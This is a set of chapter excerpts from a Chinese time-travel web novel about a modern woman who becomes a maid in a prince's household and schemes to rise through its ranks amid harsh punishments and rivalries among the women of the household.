《古代丫鬟升职记》 1. 雍王府 《古代丫鬟升职记》全本免费阅读 “竹清,你又起这么早啊?”狭窄的下房内,一个圆脸的小姑娘坐起身打了个哈欠。 刚洗漱好的竹清应了一声,“对,我先去领早饭,顺便帮你们拿了,你快点起来。” 一开门,呼啸的北风就把雪灌进嘴里,竹清打了个哆嗦,感受到刺骨的冷,十月份的京都冷得不像话。 去到大厨房时,里边已经响起了各种声音,烧火的噼里啪啦,切菜的咚咚剁剁,还有低声聊天的八卦声。 进门便涌来一股热浪,是厨房柴火烘出来的,带着混杂的直冲鼻子的香味。 每当这个时候,竹清总会恍惚,觉得自己没有穿越。 扫洒丫鬟的早饭算不得好,两个肉包,一碗白粥和一小碟黑乎乎的咸菜,然而比起原主记忆里吃都吃不饱的日子,这样的待遇已经是不可多得的好了。 竹清拎着小篮子边往下房走边思索今后的路,她是从二十一世纪穿越过来的,这个朝代叫大文朝,吃穿住行像是各个朝代的大混杂,但有一点是统一的:她这样被采买进王府的丫鬟,签了死契,一辈子就绑在了雍王府里,要是雍王府出事,她也得跟着遭殃。 不过照现在来看,雍王府暂时不会倒,她作为正院里伺候王妃的扫洒丫鬟,也该为自己谋条生路了,以前卷,到了陌生的地方,自然得拾起老本行,继续卷出头。 别的不说,丫鬟和丫鬟也不一样,像王妃身边的一等丫鬟,早饭是三菜一粥,包子点心也有,伙食比她们好多了。 回到下房后,竹清望着拥挤的住处叹了口气,这十来个丫鬟同时起身,你推我让的,什么时候是个头? 得赶紧往上爬! “早饭我都拿回来了。”竹清把小篮子放在桌上,低等丫鬟里有两个是刚进府的,一个是她,另外一个则是面容姣好的锦文。 看见竹清的笑脸,锦文顿时有些不满,好一顿挑三拣四,最后哼了一下就去铜镜前描眉。 竹清没有理她,招呼其他人吃,锦文心高气傲,觉着凭借美貌能高人一等,可她也不看看,这里的人已经开始排挤她了,过于美貌对于丫鬟来说并不是好事,嫉妒呢! 当然,也有人巴结她的。 吃着包子,旁边凑过来一张圆脸,是竹溪,也是她第一个交好的人,不为别的,因为竹溪的娘亲是针线房的一个绣娘,总有一天会用得上的。 竹溪努努嘴,“竹清别理她,我们在正院那么多年了,还没见过这样猖狂的人,陈嬷嬷最重规矩,见了少不得责罚她。” 还有人嘀咕,“不就是被王爷夸了一句眉眼俏似王妃吗?她也配端出一副主子的模样?” “快些吃。”看竹溪想附和,竹清催促竹溪,打断了竹溪想要说的话。 用完早饭,她们就开始了扫洒,扫洒也是分地方的,像如今天寒地冻,能进室内扫洒的比室外扫洒的好上许多,竹溪进了西厢房的小佛堂打扫,竹清则是被分配在正院外的路上。 锦文也在这儿,她皱着精致的眉头,把扫帚用力地戳响,学过规矩,她倒是不敢在门口就嘟囔,可是这举动,简直是找死。 竹清暗自远离她,像这样心比天高的人,最好不要沾边,不然倒霉的时候还会坑身边的人。 果然,通往正院的最中间的那条路出现了轿子,可是背着身的锦文沉浸在情绪中,丝毫没有听见凌冽的风中响起的击掌声。 竹清没有提醒她,而是退下在路边行礼,就听着抬轿子的人呵斥的声音。 “侧妃在此,还不退下!” “啊!”锦文和轿子撞上,立刻倒地,她懵了一会儿,就跪着请罪,“奴婢该死。” “这是正院的人?怎么如此不识规矩?”轿子落下,遮挡的轿帘被掀开一个角,里面露出一张小巧精致的脸,只是神色嚣张,并不是好相处的人。 她的大丫鬟在一边搭话,“只怕是刚进府的,没调教好呢,想来也是徐管事做事不周到。” 竹清心头一跳,按照她打听来的消息,徐管事是王妃的陪嫁,侧妃的丫鬟在此刻说起,目的不纯啊! 一股颤栗从身体最深处升起,不是恐惧,而是激动,就是这种熟悉的职场斗争的味儿,不过在这里,应该叫宅斗! 她可太爱了。 天气太冷了,耳朵被冻的红通通,听声音也不太真切,竹清只隐隐约约听见侧妃说道:“王妃的陪嫁怎的这样不中用?还不快些把本妃抬进去,本妃要去问问王妃,如何调教的人。” 侧妃还没蠢过头,只是寻个由头,而不是直接发落锦文,因为事后锦文落在王妃手里,下场绝对很惨。 只是原本就嚣张跋扈的侧妃就这样在长道上公然喧嚷,也不聪明。 等道上没人了,锦文瘫坐在地上,竹清没有把她扶起来,而是继续扫雪。 注定很惨的人,不配她浪费时间。 雪下得很大,竹清不能回下房休息,而是揉了揉通红长着冻疮的手,又从那头开始扫。 道上不能见雪,又一个压死人的规矩。 约莫过了半个时辰,从正院出来的轿子陆陆续续经过长道,不多时,吊梢眼的陈嬷嬷出来,指着锦文淡声道:“没规矩的东西,堵住嘴带去见王妃。” 她身后跟着的两个膀大腰圆的仆妇立马上去扯起锦文,那力道,把她头发都扯掉了几簇。 直到换班,竹清都没有见到锦文,她给回来的竹溪倒水,低声打听道:“锦文怎么没回来?” 竹溪拍拍胸脯,后怕道:“被王妃吩咐打个半死发卖了,我悄悄听了一嘴,是卖去那些腌臜之地呢,一辈子就这样毁了。” 竹清惊讶,“好惨。” “可不是,不过她走了,这下留在正院里的人,可就是竹清你了,真好。”竹溪活泼地说。 竹清缓缓露出一个笑,“嗯。”不枉她费心筹谋挑起锦文的野心。 这事还得从半个月前说起,南边水灾,各府清减分例额度,省钱赈灾,正院里的丫鬟们也要减少,不是她就是锦文。 而调出去的丫鬟,得去扫马桶,谁愿意? 锦文不乐意,天天排挤她,又暗中推她,想划花她的脸,以此让她离开。 竹清望向漫天纷飞的大雪,又瞧着剩余的丫鬟哄抢锦文为数不多的东西,心里很舒坦,过往的手段用起来依旧得心应手。 能彻底留在正院,竹清就在想下一步该如何做了。 丫鬟分成几个等级,以王妃的份例,一等丫鬟四个,二等丫鬟六个,三等丫鬟八个,扫洒十二个,说是扫洒,其实什么活都得干。 她现在卑微,见不到王妃,得如何往上升为三等呢? 午时,竹清瞧见三个大丫鬟端着原封不动的菜从饭厅走到厢房,王妃又不用膳? 竹溪顺着我的眼神看过去,语气羡慕,“几位姐姐又得了王妃的赏菜,好想尝尝呀,竹清你想不想吃?” 竹清点头,“想的。”随后她状似无意地问道:“只是王妃这几天都没怎么用膳,为什么呢?” 竹溪微微抬起下巴,一副“我知道快来问我”的模样,竹清给她递了一块果脯,笑着说道:“竹溪姐姐,告诉我吧。” “我娘亲去送衣裳的时候听到了一点点,说是侧妃有孕,想要请法师诵经祈福,王妃不同意,好像闹了好几天了。” 竹清若有所思,她联想到前几天半夜如厕看见的事,心里倒是期盼诵经祈福这件事成功,不出意外,院里的三等丫鬟就会少一个。 上头主子的事很难影响到下边的小丫鬟们,不用打扫,她们便在屋里打络子,每个月出府那日就顺带拿去卖了换钱。 锦文一走,大通铺就空了一些位置,只是竹清仍旧住的挤挤巴巴的,她新来,又不像竹溪在府里有亲人,便也是众人忽略的对象。 下午,照旧是竹清去拿晚饭,其他人嘻嘻哈哈,唯有竹溪瞅了瞅外边的风雪,又看了看竹清的背影,包子脸皱成一团,最终起身朝竹清跑去,“竹清等等我,我跟你一起去。” 竹清停顿了一下,把伞往竹溪那边倾斜,“这样大的风雨怎么还出来?我一个人可以的。” 竹溪摇摇头,“总不能老是让你一个人去呀,我来这也不久,所以不能让她们轮流拿。” 到了大厨房,餐食已经分好,等她们自己装即可,竹清却左顾右盼,对扯了扯她袖子的竹溪说道:“你等等,我给你要好吃的。” “诶?”竹溪纳闷,竹清进府比她还晚,都和大厨房的人拉上交情了? 这会儿大厨房的七个灶口前全都站着师傅,竹清走到最里面烟熏得最厉害的小灶口,对着翻动炒锅的光头喊道:“钱师傅。” 钱师傅擦了擦汗,被烟熏得直流泪,手上的动作却没有停,瞧见是竹清,三两下铲起锅里的菜,说道:“你等等,我在给小厮们做菜。” 竹清探头去看,是猪肝炒辣椒,冬日里很暖身的,不过大锅菜,味道就不算十分好了。 钱师傅把一碟猪肝炒辣椒和一盅鸡汤递给竹清,说道:“拿去吃吧,特意给你留的。” “好,谢了。”竹清很自然地接过,厨房里大大小小的媳妇大娘,都瞄了一眼,发现不是什么上台面的菜,也就移开视线。 竹溪拎着篮子,惊奇地问道:“竹清,你来王府才一个多月,怎么认识掌勺的了?”虽说只是大厨房里为丫鬟小厮们做饭菜的,但也不是一般人能攀扯上的。 她打开那盅汤,是鸡汤,还有一股药材味。 “帮了他一个忙。”竹清没有详细解释,竹溪点点头也不问,转而聊起别的。 她俩找了个偏僻的地方把猪肝还有鸡汤一扫而光,随后才回下房。 用完晚饭就得再扫雪,不过这一次扫完就能休息了。 晚上,木轱辘滚动的声音准时出现,一个已经躺在床头的丫鬟提醒道:“竹清,记得倒夜香。” 竹清面色平淡“好。”她拎起一桶夜香走到门外,收夜香的,是管事沈嬷嬷的干女儿,晚秋。 “给你。”晚秋从车子的底部摸出一包东西递给竹清,竹清打开查看,闻了闻,成色极好,她满意地把刚领到的一半月例银子给了晚秋,并且嘱咐道:“下次还有,就继续给我带。” “好。”晚秋应了,眉头一皱,低声说道:“南边水灾,好些药田被淹了,如今药材的价格上涨了不少,我叔叔说了,各处的下人都找他买,我们要是买,得加大数量才肯卖,你想想办法。” 说到最后,她声音隐隐约约有些着急,这可是能挣钱的! 竹清脸上浅笑,应道:“你先回去,我想到办法再去寻你。” 瞧见她的模样,晚秋无端地安心了,嘱咐道:“那我走了,你快些寻我。” 和晚秋交易的东西是一包零零碎碎的药材,外头药贩子们低价卖的,晚秋有个叔叔是药贩子,能帮她买,替她跑腿,收一点钱。 竹清则是买来存着,之前帮钱师傅,也是多亏有药物,再则,这里的天气实在是太冷了,万一感冒发烧,都请不来大夫,更别说突然买药了。 她在现代精通医术,总不能在这儿还能病死吧? 当然,药香不分家,她也懂制香,只不过巧妇难为无米之炊,先放着吧,会有拿出手的一天的。 翌日,竹清从大厨房回来,进门就听见有人咳嗽,而且愈咳愈厉害,她瞧了瞧,是尘心,她露出来的脸和脖子都红通通一片,尘音摸了摸她的额头,说了一句,“好烫!” 应当是发高烧了。 尘音忙不迭地跑去请人,跟着她回来的人眼神精明,给尘心搭脉之后,摇摇头说道:“寒气入体引发的高热,和我娘家侄子一样的症状,也是治不好,请了大夫也没有用,去了。” “许娘子你再看看吧,怎么就那么严重呢?”尘音哭泣道。 许娘子指了指外边的天气,“这样的遭瘟天气,如何能不严重?除非有药,狠灌下去,起了汗也许还有救。” 她也不过是看些跌打扭伤,去高热太难了。 “怎么办?请个大夫?” “今儿下雪刮风,请大夫得多加两吊钱,这怎么使得?”尘心强撑着一口气说,她们是小丫鬟,月例本来就不高,更别说她还要经常接济家里,手头的钱压根儿不够看病的。 管丫鬟的陈嬷嬷被请来了,瞧见尘心这样,先是叹了口气,“造孽啊,可有喝了什么发汗的?” “回嬷嬷的话,方才给她灌了姜汤。” “先瞧着熬不熬得过去,不行了再来寻我,到时候我请王妃的话,挪出去。”陈嬷嬷说,一个小丫鬟而已,本身与她没有亲缘,又是个闷葫芦,不值当她多费心神。 陈嬷嬷转身走了,尘音和尘心玩得好,在那边急得团团转,“你可一定要争气!”她又是沾湿帕子替她擦身,又是去翻自己的荷包,倒出来一吊钱,药钱都不够呢。 “呜呜呜,尘心你争气点,咱们还要一同出去玩呢,你可不能撇下我,你答应过做我的姐姐的,食言鼻子会消失……” “尘音,你别哭了。”竹溪上前安慰。 她们也不好受,被家人卖了,一辈子出不去,也就只能和这些同样境遇的丫鬟交好,一来二去,有了深厚的感情,比之血缘亲族,更要亲昵几分。 竹清指尖拂过腰上别着的荷包,里面装着的是一副零碎的风寒药,她昨晚特意 2. 方侧妃为难 《古代丫鬟升职记》全本免费阅读 “竹清,你去大厨房领膳食。”绘夏吩咐。 竹清微微躬身,“是。” 绘夏也是王妃身边的大丫鬟,以往她让人领膳食都不会轮到她们这些扫洒的,这次叫了竹清,也不得不让其他人多看一眼。 领王妃的午膳,能有几率见到王妃呢! 其实这些日子竹清过的很滋润,尘心和尘音包揽了她原本打扫下房和领餐食的活,就是扫雪,也有她俩帮着一起干。 不过也不是所有人都服竹清的,那个在大厨房做帮工的许娘子,就不满竹清抢了她的风头,特别是听闻竹清得了一百两的赏赐,那更是一口银牙都恨不能咬碎了,指着天恨恨地说道:“偏叫那毛都没长齐的小蹄子夺了老娘的机缘,才刚进府,就抢活了。” 能不让她剜心吗,她们一家子一年到头省下来的银子也才五十两,这还是加上了王爷王妃逢年过节的赏赐,这竹清一下子就得了一百两,不知多少人眼红。 他们也替其他人看病拿药了呀,怎么就没有这样的好运气! 正院是有小厨房的,竹清去到大厨房领的,不过是大厨房给王妃的孝敬,五菜一汤。 她正准备拿着食篮离开,就听见许娘子阴阳怪气地说道:“哟,往常不都是其他姑娘来领的吗?怎么是竹清姑娘来?” 这会儿,厨房里洗菜的、剁肉的、烧火的都竖起耳朵斜着眼睛,就想看这位得罪了许娘子的扫洒丫鬟如何应对。 往常他们也见过这个竹清,不过那个时候竹清是替丫鬟们跑腿的,得不到他们重视,如今不一样了,端看她如何处理。 如果唯唯诺诺,少不得让他们瞧不起。 竹清看着许娘子跟个愣头青一样,言笑晏晏地说道:“许娘子,难不成王妃做事也要先得到你的批准同意?谁给你的胆子不敬王妃?” 这一番话砸下来,可把许娘子砸懵了,这这这,怎的就扯到不敬王妃的罪名上了?她不过是想让竹清出糗的啊。 “我来领膳食,自然是王妃的命令。”竹清环顾一周,甭管自己现在是扫洒丫鬟,气势不能输,人善被人欺,她可不是一直被人压着的人。 刚进正院被忽视,到现在她也会被叫竹清姐姐了,一步一步的,可容不得许娘子来欺负她! 最边边的钱师傅挪着胖胖的身体出来,熟捻地打招呼,“嗨呀,竹清姑娘,来来来,我这里有个菜想让你帮着尝尝味道,许娘子一时昏了头,竹清姑娘别往心里去。许娘子,你就先洗菜,我把竹清姑娘带走了。” 竹清点点头,目不斜视跟着钱师傅去了。 那边,正浑身冒冷汗的许娘子惊魂未定,下意识地对钱师傅说道:“谢谢。” 同是洗菜的粗使婆子把她拉下来坐着,七嘴八舌地说道:“得亏竹清姑娘没继续说什么,要是捅到王妃那,有你好果子吃。” “你怎么把气撒在正院的丫头身上?那是我们能得罪的吗?保不齐什么时候人家就成了大丫鬟了。” “也不一定啊。”许娘子见竹清不理她了,壮着胆子说道:“那个被打了一顿又卖了的锦文,不也是正院的丫头?” “之前还在我面前摆谱,说自己要当侍妾了,这不还没威风几天就没了任何前程了?” 许娘子压低声音,还有一句话没有说出口,只盼望着竹清也像锦文一样,被发卖出去,最好也是卖去当粉头妓子,堕落烟花之地。 “来,我新做的栗子炒鸡肉。”钱师傅揭开盖子。 白雾水汽飘散后,白白胖胖的栗子和颜色均匀的鸡肉就这样出现在竹清眼前,不过她仔细看了看,这些鸡肉大多是干瘦的位置。 钱师傅做菜的材料是边角料,一只鸡好的部位先紧着主子们的膳食,剩下的才给下人们。 不过既然是采买进王府的,边角料也是很不错的,钱师傅可不单做正院下人的餐,他先让竹清吃,也是给她做脸面的意思。 竹清在心里赞叹,瞧瞧,一个厨房里掌勺的师傅都有一颗玲珑心,他站出来说话,一是让许娘子承他的人情,二是让她也有个台阶下,毕竟她的本意也是震慑一下,点到为止。 个个儿都是人精啊,除了许娘子。 “带回去慢慢尝尝。”钱师傅用小篮子装起那碟菜,多的还有一碟清炒菜心。 竹清推拒了一下,“说好尝味道的。” “竹清姑娘就拿着吧!跟我客气什么。”钱师傅笑得像个弥勒佛一般,等竹清伸手接过,他脸上的笑意就越发的深了。 “那就谢过钱师傅了。”竹清笑道,“我得赶紧回去了。” “巴结那样,真丢脸。”钱师傅望着竹清离去的背影,听见有人嘀咕一声,他不放在心上,巴结前院和正院有什么错? 他们这样说不过是巴结不上! 更何况,竹清姑娘帮过他哩。 他这样的厨子,说起来风光,实际上给主子们做菜的资格都没有,不多结交人脉,细细筹谋一番,当正厨的几率岂不是更小? 只是他当初也没有想到,竹清能有这机遇,只盼着竹清越来越好吧,到时候他也能说一句认识正院的丫鬟姐姐了。 竹清回去的路上,因抄近路经过了花园,不巧正遇见了侧妃。 “奴婢参见侧妃,请侧妃安。”竹清行礼,心里骂娘,这大雪纷飞的,侧妃怀着孕还跑出来,失心疯吗? 许久没听见叫起的声音,竹清只能继续蹲着,一边发散思维,雍王府里只有一个侧妃,叫方云意,长相如火一般灼眼,自从两个月前有了孩子,就愈发跋扈起来,在王妃面前也斜着眼睛看人。 这会儿撞进她手里,真倒霉。 眼见这个正院的小丫头一直规规矩矩,方侧妃睨了她一眼,自觉没趣,说道:“起来吧。” “是。”竹清原以为能走了,谁知下一秒,方侧妃就指着远处的梅林说道:“本妃房中需要梅花点缀,你去摘几支,不漂亮的不要。” 末了,她又十分慵懒地提醒道:“别打伞去,打伞就望不清了,如何能为本妃挑到合心意的梅花?” 竹清只能放下食篮和伞,起身往梅林去。 方侧妃身边的丫鬟有些担心,“娘娘,这样会不会开罪王妃?” “怕什么?王妃心善,断不会因为一个小丫鬟和本妃置气的,再说了,让她折梅花也是为了让本妃心情舒畅,本妃熨帖了,肚子里的小皇孙才能健康成长,这是她的福气。”方侧妃打量着自己的寇丹,并不在意一个下人的安危。 竹清行走在梅林,目光随意地挑选,她挑了几支还不错的,折下来放在臂弯,靠在梅树下沉思待会儿怎么应对。 方侧妃真的想要梅花吗?未必。 她只是想折磨一下她而已,所以这个时候,她只需等久一点再回去,说几句好话。 “怎的这样久?”方侧妃恹恹地问道,她身体似乎很不舒服,竹清回来 3. 勾引王爷 《古代丫鬟升职记》全本免费阅读 竹清正和竹溪学刺绣呢,就听闻外头吵吵嚷嚷的。 “怎的了?” 有知情的低声说道:“是琥珀,王妃歇下了,王爷就自个儿练字,她端茶进去泼了王爷一身,要替王爷换衣,王爷拂袖而去,王妃恼了,让人按住琥珀打三十大棍。” 一个二等丫鬟进来,高声道:“王妃吩咐,正院所有丫鬟都去院中。” 她们排成两排去了,院中,一个丫鬟正被几个粗使婆子按在长凳上打,她只穿了单薄的里衣,冻的瑟瑟发抖,不多时,腰部就渗出血来,染红了衣裳。 被堵住了嘴,也叫不出来,挣扎的力度越来越弱,最终脖子一歪,有婆子上前探鼻息,大声说道:“弃了!” 丫鬟们俱都抽气,在她们眼前打死了日日都会见的人,不少人都惊恐地抖身。 陈嬷嬷站在台阶上,锐利的眼神扫过几排花骨朵一样的丫鬟们,淡声开口道:“伺候主子眼睛乱瞟胡乱攀扯,心思不放在正道上的,便是这个下场。” 想当侍妾通房,当然得王妃抬举,也是名正言顺。可现在王妃和王爷感情甚好,并不需要给身边的丫鬟开脸做侍妾,这琥珀自个儿找死,怨不得年纪轻轻就没了。 竹清内心一凛,所以她得抱紧王妃的大腿,努力升职加薪。 她们还得看着琥珀的尸身被拖走,然后才一个个失了魂一般回到下房。 竹清深呼吸几下调整好,说没有波动是假的,在现代怎么争也不会弄出人命,现在的“同事”却活生生打死。 但她不是什么慈善之辈,从锦文被弄走开始,她就得一路争上去! “琥珀素日安静,怎的做出这样令人不耻的事?” 有好事的,去其他丫鬟姐姐那里打听,王妃显然没有下封口的命令,半响,她回来了,于是丫鬟们凑一堆儿,你推我挤地头碰头,“诶,琥珀前些天不是病了吗?烧的厉害,也不肯买竹清的药,就自己吃了一些混的汤药,结果高烧之后,醒过来就变得很奇怪。” “又是嚷嚷什么穿越,又是说自己是话本子的女主角,还瞧不起暖春姐姐她们,做活都没有了规矩。” “姐姐们想着她高烧,烧糊涂了,也没上报给陈嬷嬷,哪想她会做出这样的事。” 竹清一惊,穿越?跟她一样,不过这结果,真是蠢透了。 也不想想是什么身份,若是国色天香,琥珀早就当侍妾了,可琥珀相貌平平,没有张好脸皮,又怎么能让主子看上? 第二日,风雪停了,只余下依旧呼啸冷冽的寒风,冻的人瑟瑟发抖。 “竹清姐姐,我给你倒水,你歇着。”尘音抢走竹清手上的桶,尘心则是拿着湿抹布擦拭起抄手游廊了。 自从得了王妃两次赏赐,她们便商量,把竹清的差事从扫走道换成了擦洗游廊,因背风的缘故,这里暖和了许多,只是一暖和,手上的冻疮就全部浮现了出来,又疼又痒。 这也是不可避免的,扫地总得露出手,也就只有手是遭殃了的。 见竹清挠着手指,尘音放下一桶水,“竹清姐姐,你是痒吗?我那有冻疮药,回去找给你。” 尘音与竹溪有些相像,都是圆脸,只不过话不多,唯有在竹清和尘心面前才活泼一些。 “好。”竹清点头。 要了冻疮药,尘心和尘音内心的不安才能少一点,也是拉进关系的一种表现。 “竹清,竹清。”收夜香的晚秋从红柱后探个头出来,竹清瞧了瞧离她比较远的两个人,起身与晚秋一同躲在柱子后面。 “你要我帮你打听的事情,有眉目了。”晚秋低声说。 她在府里各院穿梭着收夜香,自然能瞧见许多别人不知道的事情,于是竹清就请她帮个忙。 晚秋说道:“我打听到了,侧妃身边的香薰是由身边的翠兰打理的,偏这个翠兰喜欢偷懒,这事一般都放给一个小丫鬟做的,你猜这个小丫鬟是什么人?” “什么人?”竹清捧哏。 “她与刘侍 5. 得了糕点的竹清 《古代丫鬟升职记》全本免费阅读 竹清再次大包小包回了下房,只不过房中没有人,方才陈嬷嬷就把所有人喊走,有要事交代。 这里没有小泥炉,糕点很快就会冷了,因为摸不准竹溪她们什么时候回来,竹清便带着糕点出去寻钱师傅和晚秋。 人际关系得维护好,总不能有事才找人家。 晚秋正累着腰刷马桶呢,见了竹清很是高兴,“也就你惦念我了。” 竹清把糕点朝她扬了扬,“点心。你干娘呢?” 晚秋朝屋里努努嘴,她干娘只有个名头,才不管她的死活呢,不仅克扣她的月例银子,还脏活累活都丢给她干。 这也是她需要偷摸攒钱的缘故,攒钱赎身,再也不见这坏心眼的恶婆子了。 “这里冷,你放下走吧,我干完活再来寻你,快些走,等下她出来连你一起骂。”晚秋说到后面声音都小了。 竹清点点头,随后来大厨房寻钱师傅,只是还没进厨房呢,便听见一阵吵嚷。 “钱斌生,让你做下人的饭菜,谁准许你动主子们的食材了?” 厨房总管厉声质问,竹清心一突,她在大厨房唯一的人脉,不会要出事了吧? “大总管,是谭师傅让我帮他处理的,我……”钱斌生想要解释,奈何大总管完全不听,指着他说道:“我定要回禀王妃,将你这样擅作主张的人贬为洗菜烧火的帮工。” 竹清进来的时候,大总管正好出去,他斜睨了竹清一眼,不屑地用手指掸了掸衣袖上不存在的灰尘。 没有人敢触大总管的眉头,钱师傅孤零零地站着,竹清带着他往外走,问他,“怎的了这是?” 听刚才的意思,钱师傅的手伸过界了? “别提了。”钱师傅一把拽下盖着头顶的帽子,颓然地说道:“方才谭师傅说肚子疼,要去茅厕,让我替他料理主子的食材,哪知刚做到一半,大总管就进来了,这后边的事,你也知道了,他想赶我下掌勺的位置。” 说到这,钱师傅脸上出现了愤懑,“那大总管把他侄子弄进了厨房,想让他侄子做掌勺呢!可怜我寒暑无间断地做烧火徒弟,才习得了师傅的手艺,好不容易做了这掌勺。” 哪怕这个掌勺是替下人们做菜,他也从未敷衍了事过,为何命运如此不公啊! “大总管,好似不是王妃的陪嫁。”竹清思索着。 若是王妃的陪嫁,这件事让王妃知道,也不能够有什么好结果。 钱师傅知道的更多,摇摇头说道:“不是,大总管是王爷出宫建府,宫里头安排的,所以很是有几分傲气,平常都不搭理我们的。” 也就是说,这个大总管,不是王爷也不是王妃的人? “吃点,给你带的。”竹清把手上温热的糕点递给钱师傅。 钱师傅瞧着花样精致的糕点,一眼断定这不是大厨房做的,而是正院小厨房师傅们的手艺。 “我就不吃了,能不能让我带回去,给我内人,她病了,胃口不好。”钱师傅鼓起勇气说,他手指不安地搓了搓衣摆,胖胖的脸上晕出红色。 “本来就是给你的。”竹清说。 “诶好,不过往后我应该都不能给你留菜了。”没有了掌勺的资格,他以后得看更多人的脸色了。 竹清安慰了他几句,内心叹气,钱斌生的妻子病得不轻,他攒的钱都用在看病上了,之前她为他的妻子抓了两剂平替药,钱斌生这才投桃报李,对她挺好的。 不过往后,她在大厨房里,就没有能说的上话的人了。 * “切莫乱走,你是哪个院的?都回自己的院呆着!” 一队队的侍卫行走在王府,不管是闲逛的还是有要事的奴仆,通通撵回所属的院子。 竹清嗅到了风雨欲来的味道,赶忙回到正院,正院里跪着一地的丫鬟小厮,竹溪朝她挥了挥手,竹清便走到她身边同她跪着。 “王爷在里边,看样子是恼怒了。”竹溪在竹清耳边用气音说。 刚才她还听见里边传出打砸杯子的声音,一点也没有想遮掩呢。 很快,她们便瞧见方侧妃坐着轿子来了,一下轿就往前厅 6. 敏姐儿 《古代丫鬟升职记》全本免费阅读 一旁的雍王妃把所有人的神色尽收眼底,用帕子遮了遮鼻子,掩盖微微勾起的嘴角。 她就说方氏蹦哒不了多久,有张好脸皮却不够脑子,就作吧,要不是有个胎儿,王爷都不想搭理她了。 “把侧妃拉开,赐座。”雍王淡淡地吩咐,也没有见他安慰方侧妃。 “王爷。”方侧妃不甘地喊了一声。 “注意分寸。”雍王暼了她一眼,随后望向地上头发散乱,衣衫不整的刘侍妾,眼神明显闪过一抹厌恶,他手指着她,声如寒冰那般刺骨,问道:“刘氏,本王待你不薄,为何要做谋害王府子嗣的事?” “不薄?”刘侍妾凄苦一笑,目光空洞地开始回忆往昔,“妾身记得,进府伺候王爷的那一年,与王爷红袖添香,王爷最喜爱妾身弹琴,便日日来听。可后来,王府里多了通房、侍妾,王爷就少来妾身院子里。” “那个时候,妾身不怨的,因为妾身有了敏姐儿,直到一年前,侧妃进府了,王妃也跟着进府了,王爷就再没来看过妾身,尤其是方侧妃有孕后,王爷只顾着她的孩子,却从未想过敏姐儿,两个月前,敏姐儿高烧不退,她拉着妾身的手问父王在哪里,妾身如何能回答她,父王在方侧妃的院中,陪着你的弟弟妹妹!” 刘侍妾泣涕涟涟,到最后哀痛到不能自已,她抬头,觉着丰神俊朗让她年少心动的王爷变得如此陌生,听着她这些剖心的话,他居然无动于衷。 雍王觉得荒谬,挑眉问她,“你的身份是什么?敏姐儿的身份又是什么?你是侍妾,怎敢与王妃侧妃相比?” 当然,倘若敏姐儿是个男孩,他或许会多看几眼,也不至于几个月都不踏入刘侍妾的院落中。 刘侍妾瞪大眼睛,似是没想到对她似水柔情过的男人如此绝情,她便罢了,到底卑微,但是敏姐儿可是他的女儿! 雍王妃叹气,问道:“所以你就谋害方侧妃,是吗?” 事情败露,刘侍妾也不想挣扎,回答道:“是,妾身想着,方侧妃的胎儿没有了,王爷就能多来看看敏姐儿。” “你这样,让敏姐儿以后如何自处?”雍王妃觉得刘侍妾简直蠢透了,明明有了敏姐儿,下半辈子也有所依靠了,偏偏脑子不灵光,谋害王府的子嗣,这个罪基本保不了她的。 她没了,还连累敏姐儿让王爷不喜,本就是庶女,还不得喜爱,以后敏姐儿又没有了生母的照料,过的如何还未可知呢。 听到自己的女儿,刘侍妾膝行上前,两只手抓住雍王的靴子,祈求道:“王爷,这一切都是妾身的错,不关敏姐儿的事,敏姐儿还小,她不知情的,还望王爷能怜惜敏姐儿,妾身哪怕是死,也心甘情愿啊!” “刘侍妾,心思不正加害子嗣,赐毒酒自尽。”雍王看也不看刘侍妾,转头与王妃对视,慢慢地说道:“至于敏姐儿……” 这就是让王妃出主意的意思了。 雍王妃提议,“敏姐儿还小,想来也是能养好,不会沾染了生母的恶毒和不安分,后院中有的是没有孩子的侍妾,王爷不如选一个,让她好好照顾着。” “等敏姐儿长大了,也就把她当作生母一般了。” 雍王点点头,思索一番就说道:“传本王命令,敏姐儿交由苏侍妾抚养,以后,苏侍妾便是敏姐儿的生母。” 苏侍妾为人平淡,掀不起什么风浪,雍王妃应道:“妾身会打理好的。” 被拖走的刘侍妾发出尖锐的叫喊,“王爷!我的孩子……敏姐儿……” 凄厉的惨叫传遍正院周围,让竹清也不自觉打了个寒颤,她亲眼见着刘侍妾如同死人一般被带走,没有了来请安时的体面。 屋内,一个二等丫鬟上前添加了一些上好的金丝炭,整个过程悄无声息。 “王爷,妾身受了这样大的委屈,只这样对刘侍妾,会不会太便宜了……”方侧妃还是不满的,凭什么这个贱人害她的孩子,那个敏姐儿还能像个没事人一样做王府的小姐? “方氏,注意分寸。”雍王淡淡地扫了她一眼,昔日对方侧妃的 16. 菊霜和晴雨被赶出王府 《古代丫鬟升职记》全本免费阅读 啪啪啪的声音持续了很久,陈嬷嬷给手势,粗使婆子们退下,“还不快些说,老老实实的。” 晴雨像是怕了,跪着上前,“王妃息怒,奴婢,奴婢说。那天奴婢偷懒的,当值的时候跑出去顽了,因着害怕王妃责骂,方才便没有说,偷盗一事奴婢当真不知情。” 偷懒么,自然是没有人证物证的,此事似乎僵着了。 “王妃,奴婢有事禀报。”后边的小丫鬟中,有人坚定地出声。 “说。” “前天申时奴婢亲眼看见晴雨回了厢房,半刻钟后又出来了,错不了。” 陈嬷嬷问道:“你叫什么?” “奴婢竹溪。” “你撒谎!我没有……”晴雨慌了,她明明是在申时前就出了厢房,怎么可能被看见? “你还想抵赖?”陈嬷嬷怒斥,“王妃在此,你也三番四次说不清楚话,做甚!” 晴雨瞟向菊霜,可是这种时候,哪个敢救她? “王妃明鉴,奴婢真的没有偷盗啊。”晴雨面色煞白,她很清楚这样的罪名一旦安在她的头上,等待她的会是什么。 “没有?”雍王妃自八岁就跟着母亲学习掌家,一眼就瞧出来晴雨的心虚和狡辩,那就更不可能轻飘飘地放过她,她说,“你若是仔细交代了,本王妃给你一个痛快的去处,若是还想欺瞒,上棍棒教训!” 晴雨蠕动嘴唇,眼见着小厮们已经找来手臂大小的棍棒,棍棒上边还埋着泛着寒光的钉子,晃眼得紧,她更是吓得浑身瘫软,不敢再隐瞒一丝一毫,“王妃饶命王妃饶命,奴婢说,是,是菊霜让我这样做的,她让我把我的金戒子放进竹清的首饰盒子里,然后喊奴婢说丢失首饰,以此把竹清赶出府去。” “此事奴婢只是受了指使,但是真的不是奴婢想要做的,奴婢也是被逼的。至于竹清的首饰为何出现在奴婢的盒子里,奴婢是真的不知情啊。”她想着拉菊霜下水,两个人都被责罚,或许就不用上棍棒了。 要死一起死! 凭什么自己受了罪,菊霜却像个没事人一样? 更何况,她是真的没有偷竹清的东西。 